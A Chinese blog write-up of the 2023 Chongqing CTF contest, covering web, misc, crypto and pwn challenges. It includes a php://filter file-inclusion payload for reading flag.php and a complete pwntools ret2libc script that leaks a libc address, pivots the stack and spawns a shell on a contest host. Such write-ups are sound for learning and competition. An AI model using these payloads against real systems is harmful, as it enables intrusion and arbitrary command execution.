2023重庆市赛 WriteUp

哎,第八,可惜去不了线下了,不过做做题还是挺爽的,就是太少了

Web

游戏or动漫

php include包含:

1
page=php://filte/convert.base64-encode/resource=flag.php

再base64解密

植物大战僵尸

js小游戏,审计一下代码

抓包修改sunnum,改的非常大就行了

Misc

base

base64解密就行了

sandbeach

跟去年市赛简直一模一样。。。

拖进虚拟机,foremost分离出来一张照片和压缩包

压缩包解压需要密码,没爆出来

图片用010editor打开

修改样本精度,改成8就正常了

提取隐型水印

1
c24da5b8f5ed

那这个当密码去解压压缩包

base32隐写解密得到flag

Crypto

ez_math_problem

解二元方程

1
2
3
4
5
6
7
8
eq1 = Eq(p**5 - q**3, k)
eq2 = Eq(p * q, n)

solutions = solve((eq1, eq2), (p, q))
p = solutions[0][0]
q = solutions[0][1]
print(p)
print(q)

即可分解n
然后rsa解密即可

Pwn

just_read

直接返回read的 ROP 链读取puts_got里的puts真实地址,上网查询该地址对应libc,得system等利用地址,同时修改了RBP最后leave实现栈迁移;迁移到的位置read输入system的 ROP 链,最后再次leave栈迁移到system的 ROP 链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

# p = process("./pwn")
p = remote('tcp.cloud.dasctf.com', 28345)
elf = ELF("./pwn")
libc = elf.libc

pop_rdi = 0x400723
leave = 0x400691
bss = 0x601040 + 0x600
read = 0x400675
vuln = 0x4006a6

payload = 'A'*0x40
payload += p64(bss+0x500)
payload += p64(read)
p.send(payload)
# gdb.attach(p)
payload = p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(vuln)
payload = payload.ljust(0x40, 'B') + p64(bss - 0x48) + p64(leave)
p.send(payload)

puts = u64(p.recvuntil('\x7f')[-6:].ljust(0x8, '\x00'))
print(puts)
libcbase=puts-0x6f6a0
print(libcbase)
system = libcbase + 0x453a0
binsh = libcbase + 0x18ce57

payload = 'A'*0x40
payload += p64(bss) + p64(read)
p.send(payload)

payload = p64(pop_rdi+1)*2 + p64(pop_rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0x40, 'D') + p64(bss-0x48) + p64(leave)
p.send(payload)

p.interactive()

2023重庆市赛 WriteUp
https://www.supersmallblack.cn/2023重庆市赛.html
作者
Small Black
发布于
2023年10月28日
许可协议